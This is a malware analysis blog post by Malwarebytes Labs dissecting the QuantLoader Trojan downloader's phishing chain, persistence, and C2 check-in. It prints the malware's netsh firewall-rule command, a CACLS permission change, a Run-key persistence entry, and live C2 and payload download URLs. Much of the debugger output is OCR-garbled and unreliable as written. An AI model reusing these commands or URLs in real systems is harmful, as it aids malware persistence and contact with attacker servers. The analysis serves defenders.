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An in-depth malware analysis of QuantLoader

By Malwarebytes Labs

Published: 2018-03-27 - Archived: 2026-04-05 20:32:18 UTC
This guest post is written by Vishal Thakur, CSIRT/Salesforce. For more on Vishal, read his bio at the end of the blog.

QuantLoader is a Trojan downloader that has been available for sale on underground forums for quite some time
now. It has been used in campaigns serving a range of malware, including ransomware, Banking Trojans, and RATSs.

The campaign that we are going to analyze is serving a BackDoor.

In this post, we’ll take both a high-level look at the campaign flow, as well as a deep dive into how the malware
executes, with a focus on the networking functions. We’ll dig into the binary to analyze how the malware executes
and how it connects back to the C2. We’ll also analyze some interesting calls the malware makes, like calling and

executing the netsh command to change local firewall rules.

The latest version of QuantLoader is being served through a phishing campaign using some interesting techniques.
The campaign starts with a phishing email that comes with a link serving the victim the initial JS downloader. What’s
interesting is that they’ve opted for a file:// (SMB) protocol rather than the traditional http://—maybe in order to get

past some proxies/firewalls.

Analysis

First of all, let’s have a look at the campaign flow:

Phish > JS downloader > QuantLoader (> C2) > Payload (Backdoor) > C2

The JS downloader, as always, has lots of code, all obfuscated:

var ELECTRON ="
var offl2 =5 + H

var ASTROLOGYevasively FROGodnoklassY0 =

var silkopil = "/";
var proto = " e 2
dirtyGog = {' "yt tutetsr ! et Bt PR LE L AN LT R ¥

offl2 = offl2-
var velVITK BOSKO 25 = "";
for (jbll= 1; >ibll ; ++jbll) {
ELECTRON[jbl1l] = parseInt(ELECTRON[jbll], )
ELECTRON[jb11]++;
ELECTRON[jbl1l] = ELECTRON[ibl1]- ;

var ahgceb2Z = function() {
var ASTROLOGYevasively POPOLAM, lined4, ASTROLOGYevasively Selectionl, ASTROLOGYevasively FROG2cd;

var hSTRDLDGYEUJSiUElyihKUDER - e

var PROPUSK1= this.replace (IWOOBERIgi, ASTRDI_C}G‘:’e‘u'as"_ue‘.!_.f_hE(UPF.P.I,'
var ASTROLOGYevasively FROGZlen = PROPUSKI1.length;
lineé = 0;

while (line6 < ASTROLOGYevasively FROG2len) {
do {
var ASTROLOGYevasively koch = PROPUSK1.charCodeAt (Line6++) &( - )
.’\STP.DI.OI.’:‘I‘O'\.'asi\-'n]y_POPDI.N-{ = ELE —J.ON[r‘\S'l"R\’)I.Gl';‘:'r:‘ms‘.‘m:;-'_l-mch]:
} while (linef < ASTROLOGYevasively FROG2len && ASTROLOGYevasively POPOLAM == =1);
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var ASTROI Yevas elys valBBB = ('
var fu1 ‘tion3l = new }J!yLlJn("

function abordage (A,B,C){
try{
}eatech(e) {)

}

for (ASTROLOGYev
ASTROLOGYe

sivelysurvivalCCC in ASTROLOGYevasivelysurvivalBBB) {
ively FROGodnoklassYO++;

2 ly T? ﬂuinuk.1rr+ AS

functlon
retu

} s

1f (ASTROLOGYev

break:

sivelycomBAT (function (x) { return beam(); })){

]
We go ahead and print the output of the main function (AXXA in this case) and we get the stage 2 URLs:

http://chimachinenow.com/kjdhc78377qCbEIse=qCbEIse
http://motifahsap.com/kjdhc78377qCbEILs

http://sittalhaphedver.com/pb6/kjdhc783

That was a quick analysis of the JS downloader, to get us the URLs.
QuantLoader executable

We are going to start by following the execution flow as much as possible:

0018FEAC 0040170B /CALL to CreateFileA

0018FEBO 004095B0 |FileName = "c:\users\_\appdata\roaming\25432892\dwm.exe"
0018FEB4 00000000 |Access = 0

0018FEBS 00000007 | ShareMode = FILE_ SHARE READlFILE SHARE WRITE|4

0018FEBC 00000000 |pSecurity = NULL

0018FECO 00000003 [|Mode = OPEN EXISTING

0018FEC4 28000000 |Attributes = NO BUFFERING|SEQUENTIAL SCAN

0018FECS8 00000000 \hTemplateFile = NULL

Let’s take a look at the assembly code:

@B18FEAC 040170B /CALL to CreateFileA

P018FEBO ileName = "c:\users\quant-analyzer\appdata\roaming\25432892\dwm
@018FEB4 0 ; Ac (%]

@@18FEBS

B018FEBC

P@18FECA 4l 1003 |HudH = UPEN

P018FEC4 y A008E |Attribut NO_BUFFERING |
BD1BFECS peed “\hTemplateFile = NULL

Next, it will copy itself to the above location before execution:
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PO18FEBS 7701FE93 RETURN to KERNEL32.77@01FE93 from KERNELBA.CopyFileExW
@018FESC @95C3DB8 UNICODE
@018FESH #05C3578 UNICODE

BO18FEAC 004028 JCALL to CreateFileA
0018FEB®  @@40CAC8 |FileName = "c:\users\quant-analyzer\appdata\roamin
\dwm.exe: Zone.Identifier"

P@18FEB4 40000000 | GENERIC_WRITE
P@18FEBS p0e0e000 5 =0

BO18FEBC 00000000 |pSecurity = NULL

PO18FEC@O | pP0B2 |Mode = CREATE_ALWAYS
0018FEC4 10000080 |Attributes = NORMAL |RANDOM_
PO18FECS pOAOeOe® “\hTemplateFile = NULL

Setting the right permissions (ACL):

Here, we can see that the permission for the user has been set to “Read.”

B@1BFE1C 10402 JCALL to CreateProc A

Q@18FE20 DE |ModuleFileName = NULL

Q018FE24 p40C2C8 |CommandLine = “cmd /c echo Y|CACLS “c:\users\quant-analyzer\appdata\
roaming\254 m !

P018FE28 g D |pProcessSecuri = NULL

B@18FE2C 00000008 |pThreadSecurity = NULL

@@18FE30 00008008 |InheritHandles = FALSE

B@18FE34 00008018 |CreationFlags = CREATE_NEW_CONSOLE
Q018F 00000000 |pEnvironment = NULL

PO 1BFE: 00000000 |CurrentDir = NULL

0018FE40 BO18FE |pStartupInfo = @@18FEGO

0018FE44 PO18FE5® ‘\pProcessInfo = @@18FE50

Stack view:

@e18FDE8  @e5C512@ UNICODE "cmd /c echo Y|CACLS "c:\users\guant-analyser\appdata\roaming\
25432892\ dwm.exe" /P “gquant-analyser:R""

Let’s have a look at the process execution and persistence mechanisms.
L=
- [ 'winlogon.exe Legit
eqgl
B |dwm.exe « g

= _'J':;;Jexplnrer.exe
mvmtoolsd.exe
B |dwm.exe
2k OLLYDBG.EX
® |dwm.exe

—_——_—La N —

Badness

As you can see above, the process spawns a new process after it has successfully copied itself to a different location.
It is important not to confuse it with dwm.exe, a legit Windows process (Desktop Window Manager). Note that the

persistence mechanism has also been initiated.
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Path:
C:\,Users_AppData‘-.Roaming\25432892\d WIm.exe

Command line:
""C:"I.User_\;ﬂ.ppData\RDam[ng'\25432892\dwm.exe"

Current directory:
C:\Windows\System32},

Autostart Location:

HKCUASOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm

Let’s take a deeper look into this process that is spawned, and how it is spawned.

First, the directory is created:

B018FECC 00401785 /CALL to CreateDirectoryA
0018FED® ©04094B@ |Path = "C:\Users\quant-loader\AppData\Roaming\25432892\"

0@18FED4 0000OOBO \pSecurity = NULL

Once that is completed, CreateFile is called to create a null file.

B@18FEAC 9040170B /CALL to CreateFileA

Q@18FEB@ ©04095B@ |FileName = "c:\users\quant-loader\appdata\roaming\25432892\dwm.exe"
0@18FEB4 00000000 |Access = 0

@@1BFEBS 00000007 |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE |4

PO18FEBC 00000000 |pSecurity = NULL

0018FECO 00000003 |Mode = OPEN_EXISTING

PO18FEC4 28000000 |Attributes = NO_BUFFERING|SEQUENTIAL_SCAN

P@18FEC8 00000000 \hTemplateFile = NULL

At this point it’s a null file—no data in it. That will be copied over later.

C:\Windows\system32>cd C:\Users\|INNNENEGEE ppData\Roaming\25432892

C :\User=\|III ~r-pData\Roaming\25432892>dir
Uolume in drive C has no label.
Uolume Serial Number is FEBE-4173

Directory of C:\Users\| I AppData\Roaning\25432892

01:48 PM <DIR>
01:49 PM <DIR> ..
B81:40 PM 0 dum.exe
1 File(s) 0 bytes
2 Dir(s) 40,452,513,792 bytes free

C: \Users\IIIIIIEEEEE < ppData\Roaming\25432892>

Note that the size of the file at this point is 0 bytes.

Then the file is copied over:
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P@1BFEBB 7701FE93 RETURN to KERNEL32.7701FE93 from KERNELBA.CopyFileExW
@018FEBC  @@5C3DB8 UNICODE "c:\users\guant-loader\desktop\dwm.exe"

@@18FE9@ @@5C3578 UNICODE "c:\users\guant-loader\appdata\roaming\25432892\dwn.exe"

Now you can see that the file has been copied over and the size is 46080 bytes:

C:\Users T ¢ppDat a\Roaning\ 25432892 >dir

Uolume in drive C has no label.
Uolume Serial Number 1s FEBB-4173

Directory of C:\Users\| I -pD2t2a\Roaning\ 25432892

01:40 PH <DIR>
01:40 PM <DIR> ..
©1:43 PH 46,080 dum.exe
1 File(s) 46,080 bytes
2 Dir(s) 40,452,419,584 bytes free

C:\Users I <ppD2ta\Roaming\25432892;

Now the process will be launched from this location.

@018FC14 7568FEAC RETURM to KERMELBA.7568FEAC from KERMELBA.CreateProcessInternalW
0@18FC18 lalolalua]o %]
0018FC1C @0602C54 UNICODE "C:\Users\quant-loader\appdata\roaming\25432892\dwm.exe"

@@18FC4C |759B5417 RETURN to SHELL32.759B5417 from KERNEL32.CreateProcessW
0@18FC50 |@0602C54 UNICODE "C:\Users\guant-loader\appdata\roaming\25432892\dwm.exe"

There is a TimeQut value that has been set to 60000 ms:

0@18FEDC  @0402CEB dwm.00402CEB

D018BFEE@ POBREAG® \Timeout = 60000. ms

@018FEE4  @040A928 ASCII "open"

DO1BFEES @04095B®@ ASCII "c:\users\quant-loader\appdata\roaming\25432892\dwm.exe"

You can modify it if you want:

ECIEETEE] GeSEERGE | LT incout = SBBB0. me
S8l8FEE4| Be4eA928| ASCII “open™

18 85CI11 *erswsersswishal thakur
B6| dun, BB4E7HEE

J%fﬁ; Modify stack at 0018... EX

“Sopdat s ros

%=

Hexadecimsa 0000003C
d Y
A Signed &l opdur
Bl H it a~Roai
4| Unsigned &0 pranraal
0k, | Cancel

aadal 1EV| duh. BT TE
B82a908 1

B018FECC 7566104F RETURN to KERNELBA.7566104F from KERNELBA.SleepEx
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Once the process has been successfully launched, we want to look at the next important step. It will call the
WININET dll to start establishing a connection back to the admin.

After execution, it will try to connect out to its admin server:

7834A17E E8 8DF4FFFF CALL WININET.InternetOpenUrlA

And here is the connection:

TCP localhost:49690 49.51.228.205:http ESTABLISHED

canonical name wassronledorhad.in.
aliases

addresses 49.51.228.205

This is the host you can see is loaded into the stack below.
We will now take a deeper look into how that unfolds in the stack.

The first step is to load the WININET DLL. It is called through the LoadLibrary function:

P018FE9D 004108C0 ASCII "WININET.DLL"
P018FE94 10064 dwm.00410064
P018FE9S8 pOP0e dwm.P0400000
BO18FESC 77E7D6A@ ntdll.77E7D6AQ
PO18FEAQ Poooee0e
PO18FEA4 70250000 OFFSET WININET.#417
PO18FEA8 P@18FECC

18FEAC 75676901 RETURN to KERNELBA.75676901
P018FEBO 00180016
0018FEB4 ©0617548 UNICODE "WININET.DLL"
0018FEBE 00000001
@018FEBC /@@18FEDC
@O1BFEC® |75676215 RETURN to KERNELBA.75676215 from KERNELBA.LoadlLibrary
@018FEC4 |@@617548 UNICODE "WININET.DLL"
PO18FECE |P0000O0O
BO18FECC |P000O0B0O
0018FED® |004100864 dwm.B0410064
0018FED4 |00180016
@018FED8 |@@617548 UNICODE “WININET.DLL"
PO18FEDC
PO18FEEQ ] : RETURN to KERNEL32.77018FB2 from KERNELBA.LoadLibraryExA
PO18FEE4 PA41¢ ASCII "WININET.DLL"
PO18FEES
@01BFEEC
Q018FEF@ 0 dwm. 00410064
P018FEF4 y wm. 80400000
PO1BFEF8
PO1BFEFC PB24 7 RETURN to 0@
PO18FF@Q pR410 ASCII "WININET.DLL"

And now, let’s take a look at the functions that are of interest to us (highlighted and commented) in the

disassembler. We will dive into a couple of these later:
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CPU Disasm
Address
00401C7D

Command
DWORD PTR
DWORD PTR
MOV DWORD PTR
CALL <JMP.&
MOV EAX,DWORD
CMP BYTE PTR DS: [EAX

ex dump
C74424 08
C74424 04
C70424 (8B4«

5SS

ount => 1024.
00

: [LOCAL.12] , 400
: [LOCAL.13],0
: [LOCAL.14] ,0FFSET @040B

S
55

55

est => dwm.4€
\MSVCRT.me

1C9C
00401C9F

80401CA5
00401CAD
00401CB5

10
ac
08
04
0e7
8F240000

@ee MOV DWORD
@ee MOV DWORD
@0@ MOV DWORD
@ee MOV DWORD

49 MOV DWORD
E8 CALL <JMP
00401CD1
20401CD4
00401CD7
00401CDF

SUB

MoV

4 14 0ee MoV
4 10 0ee MoV
4 9C 000 MOV D
4 98 000 MOV
MoV

MoV

MOV

MOV DWORD

2008  CALL P

t will open the HIITP

DWORD
DWORD

D8ooooee JE 00401D7D

will initialise the WinInet functions for this
ESP, 14

PTR ¢
PTR ¢
PTR
PTR
S

« el

rnetOpenA>
program

PTR [LOCAL.1],EAX
PTR SS: [LOCAL.9]1,0
S: [LOCAL.1@],0
[LOCAL.11],0
[LOCAL.12],@

EAX, DWORD

PTR St
« SWINIH
URL that will

fArgh => @

wm. 407000

[ARG.1]

|Argl => [LOCA
3 \WININET.Interne

1]
DpenUrlA

Here’s the stack, where the above functions can be seen in action (variable values added):”>

Address Value ASCII Comments

@@18FEAC  ©90481D09 @ ; RETURN from WINIMET.InternetOpenUrlA to dwm.@@401D09
@O18FEB®  @occeedd I

@018FEB4 00408890 <@ ; ASCII "http://wassronledorhad.in/q2/index.php?id=254328928&c=56mk=75490e&1i1=H&vr=1.738&bt=64"
@018FEBS  00PA0000

@@18FEBC  @0PAOO0

@Q18FECe 0000000

@018FEC4  00POOOR0

@018FECE /00000001

@018FECC |0040210A

'a 3 RETURN from msvcrt._mbscat to dwm.@@48210A

@@18FED@
@018FED4

|@e4e8B90 «@

|eedes640 @via 3 ASCII "64"

At this point, let’s move on to the next DLL that is called: WINHTTP.dIL.

CPU Di
Addr ump

7700

782CT7Al4 .

mmand
6900 6E® UNICODE

winhttp."

Now let’s have a look at the functions that are called from here on:
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UNICODE “d11",e@

69 6E 48 7 ASCII "WinH ro' - "WinHttpCreateP
79 52 65 7 ASCII
NOP
ASCII "WinHttpGetProxyF" ; ASC "WinHttpGetProxyForUrlEx"
5 ASCII "orUrlEx",®
ASCII "WinHttpGetPro 2 ; ASC "WinHttpGetProxyResult"
ASCII "esult",@
NOP
NOP
8 7 ASCII "WinHttpFreeProxy" ; ASCII "WinHttpFreeProxyResult"
75 6 ASCII s

NOP
8 7 ASCII "WinHttpCloseHand" ; "WinHttp(

ASCII "le",0

NOP

(= B S = |
b - -
o~

wn

~ ~

"WinHttpOpen", @ 5 "WinHttpOpen"
1 "WinHttp StatusCallback"

7
7
7
7
7
7
7@
7
7

6 ASCII
NOP
NOP
NOP
ASCII "WinHttpResetAuto" ; ASCII "WinHttpResetAutoProxy

As you can see, all of the above functions are “WinHttp”.
Let’s have a look at some of the more interesting functions:
WinHttpCreateUrl

This will put together the complete URL for the malware by combining the host and the path. Let’s step into it.

@@18F65@ 6BEF46954 return to winhttp.6EF46954 from winhttp.WinHttpCreatelrl
@@18F654 @818F6BC

@@18FE58 QABEARAD

@@18F65C 0eBeARAD

@@18F66@ @@1BFGFB

@@18F664 ©O26B730 L"wassronledorhad.in" w_

@018F668 GeBEABEO .

@018F66C BG0B2ABBD N

@918F67@ ©@18F788 )

2018F674 ©@18FcD8 L

@@18Fe78 oepeeeed

BO1BFGTC 0000RROO |

@@18FoER @oB20000

@018F6B4 @@1BF74C

@018F688 @026F8D8 L"/g2/index.php?id=25432892&c=184mk=75490eki1=Hb&vr=1.73&bt=64"

And here’s the complete URI with jsproxy.dll being called in for WinlInet’s auto-proxy support:

@018FA14 BO63E6BA L"http://wassronledorhad.in/q2/index.php?id=254328926c=08&nk=75400e8i1=Havr=1, 73&bt=64"
@@18FA1B BB62AD3B  L"C:\\Windows\\system32\\jsproxy.dl1"

@@18FABB 6CE26D98 winhttp.WinHttpGetProxyForUrlEx */ Needs jsproxy.dll

Finally, we should have a look at the memory dump to see how the URI loaded into the memory:
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CPU Dump
Address ex dump ASCII
20408890
00408BAQ

m

M
M M ™M

http://wassronle

dorhad.in/q2/ind
ge408BB0 ex.php?id=254328
3C0 92&c=2&mk=75490e
@408BDB 26 69 26 76 7 31 2E 37|33 26 62 &il=H&vr=1.73&bt
PO40BBE® 3D 34 AE =64

W

n

Have a look at the stack screenshot below. You can see that the URL is loaded onto the stack and ready to be called.

]
HECLHEHY
deduskEad| FsLI1D "hRTopl ASWassron ledorhad. tn 027 Indek., php? (d=284 520000 1hmk = b el | L =HEur=1, Fasbr=ed™
IBABAEAL
ARGRACRAR
k1L K

3| ., BEEE
L =1
RECII

wassron ledorhad. Ln- g2 Index. php? Id=284 2208350 c= 1k =7 24 590k | L=Hewr=1, 73D toe4™

A4
ARGEREGAR

3 A

And let’s have a look at the memory in parallel. You can see that the URL has been successfully loaded, and is ready

to be called upon, using the URLDownloadToFile call.

GetAtomMNameA (atom, s, SIZeot(s)) = U

:Zone.ldentifier

urlmon

URLDownloadToFiled

netsh advfirewall firewall add rule name="

" proagram="

" dir=0ut action=allow

hitp:/fwassronledorhad.in/g2/index.php

http:/fwassronledorhad.in/g2/index.php

hitp:/fwassronledorhad.in/g2/index. php?id=25432892&c=4&mk=75490e&il=H&vr=1.73&bl=64
dwm

Interesting ASCII strings that you can see in the above screenshot show you how the malware is adding a rule to the
firewall, specifying the process and then the direction (out) for the action “Allow.” This is to make sure that the

outbound request from the malware is allowed and is successful in checking in with the admin.

And here’s the view from the stack:

This is what it looks like in the CPU:
PO18FELC

P0O18FE D0 | Comman
gram= ant-loade
P01BFE28

B018FE2C

0@18FE30 poRooaae ritHandles
8FE3 } pe1e tionFla
i |pEnvironment
FE P _urrentDir
|BFE40
P018FE44
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The command used is: netsh.

Here’s a view of the process image:

Co\Windows\SysWOWed\netsh,exe

Cormmand line:
netsh advfirewall firewall add rule name="Quant” program="c:\users\vishal thakuridesktop\dwm.zxe"” dir=0ut action =allow

Current directory:
Cri\UsersiWishal ThakurDecktop',

Autostart Location:

And here are the rules created and deployed successfully on the firewall:

Dutbourd Rules

Alame G Profile [nahled fction Crvermicls Frogram Local Addee
8 s Al Vs Al Hn ehvuserswishal thekuridesktophdwm s firy

ﬂ: Juant Al Yes Allow Ho chuserswehal thakuriappdatatroameng’i 254 L2802 dvern . exe Ay

Some other interesting calls:
Anti-VM

77028A50 >-FF25 F4030877 JMP DWORD PTR DS:[< &api-ms-win-core-file>; KERNELBA.GetDiskFreeSpaceExA
0018F234 |7029160E )p ; RETURN from KERNEL32.GetTickCount to WININET.7029160E

Environment ID

77028DA0 >-FF25 A8070877 JMP DWORD PTR DS:[<&api-ms-win-core-proc>; KERNELBA.GetEnvironmentStringsA
Networking

0018E9B8 |7029818C ; ASCII "getaddrinfo"

*/protocol-independent translation from an ANSI host name to an address

0018E9CO |70298198 ; ASCII "getnameinfo"

*/protocol-independent name resolution from an address to an ANSI host name and from a port number to the ANSI

service name

0018FB84 [70272C72 ; /RETURN from DNSAPI.DnsGetProxyInformation to WININET.70272C72 0018FB88
0051E4B0 °&Q ; |Argl = UNICODE "wassronledorhad.in"

*/returns the proxy information for a DNS server’s name resolution policy table

Once the connection has been established with the admin server (C2), the payload is served. The payload is picked by

the administrator for each campaign and can be any malware type. In this campaign, it happened to be a backdoor.

The URL for the download of the payload was successfully extracted from memory. We will not be analyzing the

payload for the purpose of this exercise, but I have included the details at the end of this post.
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17652543289201923

SOFTWARE\Microsoft\Cryptography

MachineGuid

boooBBBBexe=http://balzantruck.com/45rt.exe;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run [8]

regini C:\Users\VISHAL-1\AppData\Local\Temp\per
C:\Users\VISHAL~1\AppDataiLocal\Temp\16156.exe:Zone.Identifier
http://balzantruck.com/45rt.exe;
http://balzantruck.com/45rt.exe

geooeeae

exe=http://balzantruck.com/45rt.exe;

Conclusion

QuantLoader code has some interesting bits and pieces, like the firewall rules manipulation. It is a
fairly straight-forward malware, and does what it has been developed to do. The campaign admins

have the ability to change final payloads and run different campaigns using the same downloader.

It has been reported as ransomware, but that seems to be based on a memory-string that has a reference to Locky,

which looks like a remnant from an older campaign.
Z:varwwwdtestfilescryptorsadminLoc2.exe

Also, it is interesting to see it being served over SMB rather than the traditional HTTP protocol.

Files from the campaign

JS Downloader:

MDS5 - 6f2b5a20dba3cdc2b10c6a7c56a7bf35 SHA256 —
db078628cdc41e9519e98b7ea56232085e203491bd2d5d8e49ef6708f129e 1b8

https://www.virustotal.com/#/file/db078628cdc41e9519e98b7ea56232085e203491bd2d5d8e49ef6708f129e1b8/detection

QuantLoader:

MD?5 — 4394536e9a53b94a2634c68043e76ef8 SHA256 —
2b53466eebd2c65f81004c567df9025ce68017241e421abcf33799bd3e827900

https://www.virustotal.com/#/file/2b53466eebd2c65f81004c567df9025ce68017241e421abcf33799bd3e827900/detection
Payload Backdoor:

MD5 — 6¢6d772704abf4426c5d7e5a52c847d7 SHA256 —
0d100ff26a764c65f283742b9ec9014f4fd64df4f1e586b57f3cdce6eadeedcd

https://www.virustotal.com/#/file/0d100ff26a764c65f283742b9ec9014f4fd64df4f1e586b57f3cdce6eadeedcd/detection
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Analysis. Currently, he’s working for Salesforce in CSIRT (Computer Security Incident Response Team), and before

that was part of the CSIRT for Commonwealth Bank of Australia.
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https://blog.malwarebytes.com /threat-analysis/2018 /03 /an-in-depth-malware-analysis-of-quantloader /

Source: https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/
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